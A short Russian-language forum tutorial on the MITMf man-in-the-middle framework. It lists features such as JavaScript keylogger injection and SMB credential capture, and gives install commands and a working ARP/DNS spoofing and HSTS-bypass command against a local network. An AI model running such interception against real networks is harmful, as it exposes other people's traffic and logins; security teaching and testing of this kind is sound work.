Автор данной статьи не несет ответственность за ваши действия. Статья создана в ознакомительных целях!

Всем привет.

Будет работать только в http
И да, я в первый раз вообще в жизни пишу статью не бейте, пожалуйста.

Что же может MITMf? А может он многое:

Инжектить html и т.д.
Переворачивать картинки.
Делать скриншоты страницы сайта.
Осуществить атаку с помощью устаревших плагинов для браузера.
Выполнить атаку HTA Drive-By.
Эксплойт для SMBTrap-уязвимости.
Перенаправить / изменить трафик, используя ICMP, ARP, DHCP или DNS.
Внедрять кейлоггер javascript в веб-страницы.
Заменять изображения на случайные из указанного каталога.
Вызывать попытки аутентификации запроса-ответа SMB.
Попытки перечислить плагины браузера.
Выполнять атаки отравления кэша приложений.
Установка :
Код:
sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
sudo pip install virtualenvwrapper
sudo source /usr/local/bin/virtualenvwrapper.sh
sudo mkvirtualenv MITMf -p /usr/bin/python2.7
git clone https://github.com/byt3bl33d3r/MITMf
sudo cd MITMf && git submodule init && git submodule update --recursive
sudo pip install -r requirements.txt
sudo python mitmf.py --help - тут можно посмотреть список всех команд.
Как пользоваться?

Например, мы захотим перевернуть картинки:
Код:
sudo python mitmf.py -i wlan0 --spoof --arp --gateway 192.168.0.1 --dns --hsts --upsidedownternet
Объяснение:

192.168.0.1 - локальный ip роутера (его нужна вписать вместо этого).
wlan0 - это интерфейс.
--upsidedownternet - это функция для того чтобы перевернуть изображения. Вместо нее, вы можете написать любую команду из "help", только нужно добавить функции, которые там требуются.

Ссылка на github проекта: https://github.com/byt3bl33d3r/MITMf